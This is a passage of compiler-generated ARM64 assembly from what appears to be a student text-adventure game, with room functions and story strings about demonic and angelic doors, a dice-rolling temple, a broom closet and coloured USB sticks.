add x0, x0, :lo12:.LC635
bl printf
ldrsw x0, [sp, 24]
lsl x0, x0, 2
add x1, sp, 48
ldr w0, [x1, x0]
scvtf d0, w0
ldr d1, [sp, 40]
fadd d0, d1, d0
str d0, [sp, 40]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L596:
ldr w1, [sp, 24]
ldr w0, [sp, 28]
cmp w1, w0
blt .L597
ldr w0, [sp, 28]
scvtf d0, w0
ldr d1, [sp, 40]
fdiv d0, d1, d0
str d0, [sp, 40]
adrp x0, .LC233
add x0, x0, :lo12:.LC233
bl puts
adrp x0, .LC708
add x0, x0, :lo12:.LC708
bl puts
add x0, sp, 32
mov x1, x0
adrp x0, .LC709
add x0, x0, :lo12:.LC709
bl __isoc99_scanf
ldr d0, [sp, 32]
ldr d1, [sp, 40]
fcmp d1, d0
bne .L598
adrp x0, .LC710
add x0, x0, :lo12:.LC710
bl puts
mov w0, 1
b .L600
.L598:
ldr d0, [sp, 40]
adrp x0, .LC711
add x0, x0, :lo12:.LC711
bl printf
mov w0, 0
.L600:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 88]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L601
bl __stack_chk_fail
.L601:
mov w0, w1
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE39:
.size room_37_average, .-room_37_average
.align 2
.global room_37_fill_array
.type room_37_fill_array, %function
room_37_fill_array:
.LFB40:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str wzr, [sp, 44]
b .L603
.L604:
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 3
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 2
sub w1, w2, w0
add w1, w1, 1
ldr x0, [sp, 24]
str w1, [x0]
ldr x0, [sp, 24]
add x0, x0, 4
str x0, [sp, 24]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L603:
ldr w1, [sp, 44]
ldr w0, [sp, 20]
cmp w1, w0
blt .L604
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE40:
.size room_37_fill_array, .-room_37_fill_array
.section .rodata
.align 3
.LC712:
.string "You chose the demonic looking door"
.align 3
.LC713:
.string "The stone door budges open slowly to reveal a sinsiter cave with what looks like lava cracks lining the walls dimly lighing up the cave"
.align 3
.LC714:
.string "The cave is very sketchy so you decide that if you feel threatened you will simply run back out the door and you can start over."
.align 3
.LC715:
.string "If you wish to leave now press 777, otherwise enter any other number"
.align 3
.LC716:
.string "After walking for a while you stumble upon a weird reflective crystal wall. Every time you touch it, the area that was touched glowed like a weird finger painting wall."
.align 3
.LC717:
.string "You start drawing and after writing words realize it inverses the capitalization of letters."
.align 3
.LC718:
.string "You decide to write a lowercase word and see what happens"
.align 3
.LC719:
.string "Insert text:"
.align 3
.LC720:
.string "The wall repeats back: "
.align 3
.LC721:
.string "You then decide to try writing an uppercase word"
.align 3
.LC722:
.string "It's a neat novelty but it gets old quickly so you continue on."
.align 3
.LC723:
.string "You keep going into a cave when suddently around a corner you see a deep gorge with a lava river at the bottom."
.align 3
.LC724:
.string "You find a bridge and decide to cross it despite how unstable it is, like the one they cross over the lava moat in shrek"
.align 3
.LC725:
.string "You cross it and immidetly it colaspes into the lava, and you find that foreward is only a dead end, oh no."
.align 3
.LC726:
.string "You look around and realize up ahead is just a dead end without a way out. You turn back to see theres no way to get off of this small cave in front of the"
.align 3
.LC727:
.string "Just as panic begins to set in, you suddently wake up and find yourself at home in bed. You realize everything was just a dream. Or was it really?"
.text
.align 2
.global demondoor
.type demondoor, %function
demondoor:
.LFB41:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
adrp x0, .LC712
add x0, x0, :lo12:.LC712
bl puts
adrp x0, .LC713
add x0, x0, :lo12:.LC713
bl printf
adrp x0, .LC714
add x0, x0, :lo12:.LC714
bl puts
adrp x0, .LC715
add x0, x0, :lo12:.LC715
bl puts
add x0, sp, 28
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
nop
ldr w0, [sp, 28]
cmp w0, 777
beq .L613
adrp x0, .LC716
add x0, x0, :lo12:.LC716
bl puts
adrp x0, .LC717
add x0, x0, :lo12:.LC717
bl puts
adrp x0, .LC718
add x0, x0, :lo12:.LC718
bl puts
adrp x0, .LC719
add x0, x0, :lo12:.LC719
bl puts
add x0, sp, 40
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
adrp x0, .LC720
add x0, x0, :lo12:.LC720
bl printf
str wzr, [sp, 32]
b .L607
.L608:
ldrsw x0, [sp, 32]
add x1, sp, 40
ldrb w0, [x1, x0]
bl toupper
and w2, w0, 255
ldrsw x0, [sp, 32]
add x1, sp, 40
strb w2, [x1, x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L607:
ldr w0, [sp, 32]
cmp w0, 9
ble .L608
add x0, sp, 40
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov w0, 10
bl putchar
adrp x0, .LC721
add x0, x0, :lo12:.LC721
bl puts
adrp x0, .LC719
add x0, x0, :lo12:.LC719
bl puts
add x0, sp, 40
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
adrp x0, .LC720
add x0, x0, :lo12:.LC720
bl printf
str wzr, [sp, 36]
b .L609
.L610:
ldrsw x0, [sp, 36]
add x1, sp, 40
ldrb w0, [x1, x0]
bl tolower
and w2, w0, 255
ldrsw x0, [sp, 36]
add x1, sp, 40
strb w2, [x1, x0]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L609:
ldr w0, [sp, 36]
cmp w0, 9
ble .L610
add x0, sp, 40
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov w0, 10
bl putchar
adrp x0, .LC722
add x0, x0, :lo12:.LC722
bl puts
adrp x0, .LC723
add x0, x0, :lo12:.LC723
bl puts
adrp x0, .LC724
add x0, x0, :lo12:.LC724
bl puts
adrp x0, .LC725
add x0, x0, :lo12:.LC725
bl puts
adrp x0, .LC726
add x0, x0, :lo12:.LC726
bl printf
adrp x0, .LC727
add x0, x0, :lo12:.LC727
bl puts
mov w0, 0
bl exit
.L613:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 56]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L612
bl __stack_chk_fail
.L612:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE41:
.size demondoor, .-demondoor
.section .rodata
.align 3
.LC728:
.string "idolnote.txt"
.align 3
.LC729:
.string "You chose the ancient angelic door"
.align 3
.LC730:
.string "You walk in and all of a sudden find yourself in a peaceful rainforest next to a waterfall."
.align 3
.LC731:
.string "You walk forward into the forest and find a temple, in the middle of which is an altar with a pair of golden die on the altar."
.align 3
.LC732:
.string "A loud and deep disembodied voice begins to speak and says:"
.align 3
.LC733:
.string "Welcome, %s, to the temple of Shangri-La.\n"
.align 3
.LC734:
.string "I noticed your name is %ld letters long, very well.\n"
.align 3
.LC735:
.string "This temple contains a pair of ancient die used to decide the fates of people each year in the ancient civilization that used to be here, but since the civilization died out centuries ago, the die have sat here waiting for another person to use them."
.align 3
.LC736:
.string "Roll the die, if you get an even tally, you get good fortune, however, roll an odd tally, you will die instantly."
.align 3
.LC737:
.string "press 1 to roll die"
.align 3
.LC738:
.string "*rolls die*"
.align 3
.LC739:
.string "First dice was %d and the second one was %d\n"
.align 3
.LC740:
.string "Your total number is %d\n"
.align 3
.LC741:
.string "The average of that roll was %.2f\n"
.align 3
.LC742:
.string "%s, unfortunately you have recieved an odd total.\n"
.align 3
.LC743:
.string "You Died"
.align 3
.LC744:
.string "%s, you got a 7, but unfortunately in this case it is not a lucky number\n"
.align 3
.LC745:
.string "Congratulation, %s, you have been chosen by the ancient gods to recieve a gift from the heavens.\n"
.align 3
.LC746:
.string "That gift is being able to go home alive. You probably don't want to stay here for the rest of your life despite it's beauty, and you would have a hard time making it home seeing that the door disapeared right as you stepped through it."
.align 3
.LC747:
.string "Even if you expected to get some great super power or riches, the true blessing is being able to go home after taking such a risk as rolling those dice, so i shall send you back home. Goodbye."
.align 3
.LC748:
.string "You suddently collapse on the ground unconscious. After an unknown amount of time, you awake in your bed at home and find a golden idol similar to the one from Indiana Jones on your nightstand next to you. There is a note that reads:"
.align 3
.LC749:
.string "You did not choose 1"
.text
.align 2
.global angeldoor
.type angeldoor, %function
angeldoor:
.LFB42:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
str wzr, [sp, 40]
str wzr, [sp, 56]
adrp x0, .LC62
add x1, x0, :lo12:.LC62
adrp x0, .LC728
add x0, x0, :lo12:.LC728
bl fopen
str x0, [sp, 64]
mov x0, 0
bl time
bl srand
adrp x0, .LC729
add x0, x0, :lo12:.LC729
bl puts
adrp x0, .LC730
add x0, x0, :lo12:.LC730
bl puts
adrp x0, .LC731
add x0, x0, :lo12:.LC731
bl puts
adrp x0, .LC732
add x0, x0, :lo12:.LC732
bl puts
ldr x1, [sp, 24]
adrp x0, .LC733
add x0, x0, :lo12:.LC733
bl printf
ldr x0, [sp, 24]
bl strlen
mov x1, x0
adrp x0, .LC734
add x0, x0, :lo12:.LC734
bl printf
adrp x0, .LC735
add x0, x0, :lo12:.LC735
bl puts
adrp x0, .LC736
add x0, x0, :lo12:.LC736
bl puts
adrp x0, .LC737
add x0, x0, :lo12:.LC737
bl puts
add x0, sp, 40
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 40]
cmp w0, 1
bne .L615
adrp x0, .LC738
add x0, x0, :lo12:.LC738
bl puts
str wzr, [sp, 44]
b .L616
.L617:
bl rand
mov w2, w0
mov w0, 43691
movk w0, 0x2aaa, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 52]
bl rand
mov w2, w0
mov w0, 43691
movk w0, 0x2aaa, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
lsl w0, w0, 1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 48]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L616:
ldr w0, [sp, 44]
cmp w0, 1
ble .L617
ldr w1, [sp, 48]
ldr w0, [sp, 52]
add w0, w1, w0
str w0, [sp, 56]
ldr w2, [sp, 52]
ldr w1, [sp, 48]
adrp x0, .LC739
add x0, x0, :lo12:.LC739
bl printf
ldr w1, [sp, 56]
adrp x0, .LC740
add x0, x0, :lo12:.LC740
bl printf
ldr w1, [sp, 48]
ldr w0, [sp, 52]
add w0, w1, w0
fmov s0, w0
scvtf s1, s0
fmov s0, 2.0e+0
fdiv s0, s1, s0
str s0, [sp, 60]
ldr s0, [sp, 60]
fcvt d0, s0
adrp x0, .LC741
add x0, x0, :lo12:.LC741
bl printf
ldr w0, [sp, 56]
cmp w0, 12
cset w1, hi
and w1, w1, 255
cmp w1, 0
bne .L624
mov x1, 1
lsl x0, x1, x0
mov x1, 5460
and x1, x0, x1
cmp x1, 0
cset w1, ne
and w1, w1, 255
cmp w1, 0
bne .L619
mov x1, 2600
and x1, x0, x1
cmp x1, 0
cset w1, ne
and w1, w1, 255
cmp w1, 0
bne .L620
and x0, x0, 128
cmp x0, 0
cset w0, ne
and w0, w0, 255
cmp w0, 0
bne .L621
b .L624
.L620:
ldr x1, [sp, 24]
adrp x0, .LC742
add x0, x0, :lo12:.LC742
bl printf
adrp x0, .LC743
add x0, x0, :lo12:.LC743
bl puts
mov w0, 0
bl exit
.L621:
ldr x1, [sp, 24]
adrp x0, .LC744
add x0, x0, :lo12:.LC744
bl printf
adrp x0, .LC743
add x0, x0, :lo12:.LC743
bl puts
mov w0, 0
bl exit
.L619:
ldr x1, [sp, 24]
adrp x0, .LC745
add x0, x0, :lo12:.LC745
bl printf
adrp x0, .LC746
add x0, x0, :lo12:.LC746
bl puts
adrp x0, .LC747
add x0, x0, :lo12:.LC747
bl puts
mov w0, 10
bl putchar
mov w0, 10
bl putchar
adrp x0, .LC748
add x0, x0, :lo12:.LC748
bl puts
ldr x0, [sp, 64]
bl fgetc
strb w0, [sp, 39]
b .L622
.L623:
ldrb w0, [sp, 39]
bl putchar
ldr x0, [sp, 64]
bl fgetc
strb w0, [sp, 39]
.L622:
ldr x0, [sp, 64]
bl feof
cmp w0, 0
beq .L623
ldr x0, [sp, 64]
bl fclose
b .L624
.L615:
adrp x0, .LC749
add x0, x0, :lo12:.LC749
bl puts
.L624:
mov w0, 0
bl exit
.cfi_endproc
.LFE42:
.size angeldoor, .-angeldoor
.section .rodata
.align 3
.LC750:
.string "leatherjournal.txt"
.align 3
.LC751:
.string "You chose the broom closet. Great."
.align 3
.LC752:
.string "You walk in and see it is a dim and dank medium sized room full of old wooden barrels and cleaning supplies"
.align 3
.LC753:
.string "On one of the barrels you find an old leather journal"
.align 3
.LC754:
.string "'It's blank' you think to yourself"
.align 3
.LC755:
.string "Inside the cover is a pen, you decide to write in it to see if the pen still works"
.align 3
.LC756:
.string "Enter a word:"
.align 3
.LC757:
.string "Check leatherjournal.txt to see what you've written"
.align 3
.LC758:
.string "Theres literally nothing but boring barrels and old janitorial supplies in here. I should go see what the other doors do."
.align 3
.LC759:
.string "You decide to go back to the closet door and prepare to reopen it,"
.text
.align 2
.global broomcloset
.type broomcloset, %function
broomcloset:
.LFB43:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 136]
mov x1, 0
adrp x0, .LC60
add x1, x0, :lo12:.LC60
adrp x0, .LC750
add x0, x0, :lo12:.LC750
bl fopen
str x0, [sp, 24]
adrp x0, .LC751
add x0, x0, :lo12:.LC751
bl puts
adrp x0, .LC752
add x0, x0, :lo12:.LC752
bl puts
adrp x0, .LC753
add x0, x0, :lo12:.LC753
bl puts
adrp x0, .LC754
add x0, x0, :lo12:.LC754
bl puts
adrp x0, .LC755
add x0, x0, :lo12:.LC755
bl puts
adrp x0, .LC756
add x0, x0, :lo12:.LC756
bl puts
add x0, sp, 32
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
add x0, sp, 32
ldr x1, [sp, 24]
bl fputs
adrp x0, .LC757
add x0, x0, :lo12:.LC757
bl puts
ldr x0, [sp, 24]
bl fclose
adrp x0, .LC758
add x0, x0, :lo12:.LC758
bl puts
adrp x0, .LC759
add x0, x0, :lo12:.LC759
bl puts
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 136]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L627
bl __stack_chk_fail
.L627:
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE43:
.size broomcloset, .-broomcloset
.section .rodata
.align 3
.LC760:
.string "\nAs you walk closer to the green USB, you read the message above, it states..."
.align 3
.LC761:
.string "\t#2"
.align 3
.LC762:
.string "There are two options you consider"
.align 3
.LC763:
.string "1) plug the green USB into the laptop."
.align 3
.LC764:
.string "2) Step back and view the room again."
.align 3
.LC765:
.string "Enter choice 1-2: "
.align 3
.LC766:
.string "You plug the green USB into the laptop and a window pops up"
.align 3
.LC767:
.string "You step back and view the room again."
.text
.align 2
.global greenUSB26
.type greenUSB26, %function
greenUSB26:
.LFB44:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
str wzr, [sp, 36]
adrp x0, .LC760
add x0, x0, :lo12:.LC760
bl puts
adrp x0, .LC761
add x0, x0, :lo12:.LC761
bl puts
adrp x0, .LC762
add x0, x0, :lo12:.LC762
bl puts
adrp x0, .LC763
add x0, x0, :lo12:.LC763
bl puts
adrp x0, .LC764
add x0, x0, :lo12:.LC764
bl puts
adrp x0, .LC765
add x0, x0, :lo12:.LC765
bl printf
add x0, sp, 36
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 36]
cmp w0, 1
bne .L629
adrp x0, .LC766
add x0, x0, :lo12:.LC766
bl puts
bl rand
mov w2, w0
mov w0, 21846
movk w0, 0x5555, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 48]
bl rand
mov w2, w0
mov w0, 21846
movk w0, 0x5555, lsl 16
smull x0, w2, w0
lsr x1, x0, 32
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 52]
str wzr, [sp, 40]
b .L630
.L633:
str wzr, [sp, 44]
b .L631
.L632:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
mov w1, w0
adrp x0, .LC635
add x0, x0, :lo12:.LC635
bl printf
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L631:
ldr w0, [sp, 44]
cmp w0, 2
ble .L632
mov w0, 10
bl putchar
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L630:
ldr w0, [sp, 40]
cmp w0, 2
ble .L633
b .L636
.L629:
adrp x0, .LC767
add x0, x0, :lo12:.LC767
bl puts
.L636:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 56]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L635
bl __stack_chk_fail
.L635:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE44:
.size greenUSB26, .-greenUSB26
.section .rodata
.align 3
.LC768:
.string "\nAs you walk closer to the blue USB, you read the message above, it states..."
.align 3
.LC769:
.string "\t#3"
.align 3
.LC770:
.string "1) Plug the blue USB into the laptop."
.align 3
.LC771:
.string "blue USB game"
.align 3
.LC772:
.string "You step back and view the room again"
.text
.align 2
.global blueUSB26
.type blueUSB26, %function
blueUSB26:
.LFB45:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
adrp x0, .LC768
add x0, x0, :lo12:.LC768
bl puts
adrp x0, .LC769
add x0, x0, :lo12:.LC769
bl puts
adrp x0, .LC762
add x0, x0, :lo12:.LC762
bl puts
adrp x0, .LC770
add x0, x0, :lo12:.LC770
bl puts
adrp x0, .LC764
add x0, x0, :lo12:.LC764
bl puts
adrp x0, .LC765
add x0, x0, :lo12:.LC765
bl printf
add x0, sp, 20
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 20]
cmp w0, 1
bne .L638
adrp x0, .LC771
add x0, x0, :lo12:.LC771
bl puts
b .L641
.L638:
adrp x0, .LC772
add x0, x0, :lo12:.LC772
bl printf
.L641:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 24]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L640
bl __stack_chk_fail
.L640:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE45:
.size blueUSB26, .-blueUSB26
.section .rodata
.align 3
.LC773:
.string "\nAs you walk closer to the red USB, you read the message above, it states..."
.align 3
.LC774:
.string "\t#1"
.align 3
.LC775:
.string "1) Plug the red USB into the laptop."
.align 3
.LC776:
.string "2) Step back and look at the room again."
.align 3
.LC777:
.string "Red USB game"
.text
.align 2
.global redUSB26
.type redUSB26, %function
redUSB26:
.LFB46:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
adrp x0, .LC773
add x0, x0, :lo12:.LC773
bl puts
adrp x0, .LC774
add x0, x0, :lo12:.LC774
bl printf
adrp x0, .LC762
add x0, x0, :lo12:.LC762
bl puts
adrp x0, .LC775
add x0, x0, :lo12:.LC775
bl puts
adrp x0, .LC776
add x0, x0, :lo12:.LC776
bl puts
adrp x0, .LC765
add x0, x0, :lo12:.LC765
bl printf
add x0, sp, 20
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 20]
cmp w0, 1
bne .L643
adrp x0, .LC777
add x0, x0, :lo12:.LC777
bl puts
b .L646
.L643:
adrp x0, .LC767
add x0, x0, :lo12:.LC767
bl puts
.L646:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 24]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L645
bl __stack_chk_fail
.L645:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE46:
.size redUSB26, .-redUSB26
.section .rodata
.align 3
.LC778:
.string "As you walk closer to the door on the other side you see a keypad lock..."
.align 3
.LC779:
.string "The numbers range from 0-9..."
.text
.align 2
.global lockedDoor26
.type lockedDoor26, %function
lockedDoor26:
.LFB47:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC778
add x0, x0, :lo12:.LC778
bl puts
adrp x0, .LC779
add x0, x0, :lo12:.LC779
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE47:
.size lockedDoor26, .-lockedDoor26
.section .rodata
.align 3
.LC780:
.string "clear"
.text
.align 2
.global room19_readFile
.type room19_readFile, %function
room19_readFile:
.LFB48:
.cfi_startproc
stp x29, x30, [sp, -304]!
.cfi_def_cfa_offset 304
.cfi_offset 29, -304
.cfi_offset 30, -296
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 296]
mov x1, 0
adrp x0, .LC780
add x0, x0, :lo12:.LC780
bl system
b .L649
.L650:
add x0, sp, 40
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
.L649:
add x0, sp, 40
ldr x2, [sp, 24]
mov w1, 256
bl fgets
cmp x0, 0
bne .L650
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 296]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L651
bl __stack_chk_fail
.L651:
ldp x29, x30, [sp], 304
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE48:
.size room19_readFile, .-room19_readFile
.section .rodata
.align 3
.LC781:
.string "Do you open the door? [Y]es [N]o : "
.text
.align 2
.global doorDecision
.type doorDecision, %function
doorDecision:
.LFB49:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
adrp x0, .LC781
add x0, x0, :lo12:.LC781
bl printf
add x0, sp, 23
mov x1, x0
adrp x0, .LC161
add x0, x0, :lo12:.LC161
bl __isoc99_scanf
ldrb w0, [sp, 23]
bl tolower
cmp w0, 110
bne .L653
mov w0, 99
b .L655
.L653:
mov w0, 1
.L655:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 24]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L656
bl __stack_chk_fail
.L656:
mov w0, w1
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE49:
.size doorDecision, .-doorDecision
.section .rodata
.align 3
.LC782:
.string "1. Do you open the door that is 50 feet in fron of you?"
.align 3
.LC783:
.string "2. Do you simplay stand there and wait for the noise to get clearer on it's own?"
.align 3
.LC784:
.string "3. There is an old, oriental gentleman in the corner which is lit up by a torch. Do you approach him?"
.text
.align 2
.global patrickInitialPrompt
.type patrickInitialPrompt, %function
patrickInitialPrompt:
.LFB50:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC782
add x0, x0, :lo12:.LC782
bl puts
adrp x0, .LC783
add x0, x0, :lo12:.LC783
bl puts
adrp x0, .LC784
add x0, x0, :lo12:.LC784
bl puts
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE50:
.size patrickInitialPrompt, .-patrickInitialPrompt
.align 2
.global coolGuysInteract
.type coolGuysInteract, %function
coolGuysInteract:
.LFB51:
.cfi_startproc
nop
ret
.cfi_endproc
.LFE51:
.size coolGuysInteract, .-coolGuysInteract
.section .rodata
.align 3
.LC785:
.string "Pick a number between 1 and 10"
.text
.align 2
.global urGuess
.type urGuess, %function
urGuess:
.LFB52:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
adrp x0, .LC785
add x0, x0, :lo12:.LC785
bl puts
add x0, sp, 20
mov x1, x0
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl __isoc99_scanf
ldr w0, [sp, 20]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 24]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L661
bl __stack_chk_fail
.L661:
mov w0, w1
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE52:
.size urGuess, .-urGuess
.align 2
.global Anumber
.type Anumber, %function
Anumber:
.LFB53:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str wzr, [sp, 40]
b .L663
.L664:
bl rand
mov w2, w0
mov w0, 26215
movk w0, 0x6666, lsl 16
smull x0, w2, w0
lsr x0, x0, 32
asr w1, w0, 2
asr w0, w2, 31
sub w1, w1, w0
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 1
sub w1, w2, w0
add w0, w1, 1
str w0, [sp, 44]
ldrsw x0, [sp, 40]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [sp, 44]
str w1, [x0]
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L663:
ldr w0, [sp, 40]
cmp w0, 1
ble .L664
ldr w0, [sp, 20]
cmp w0, 0
ble .L665
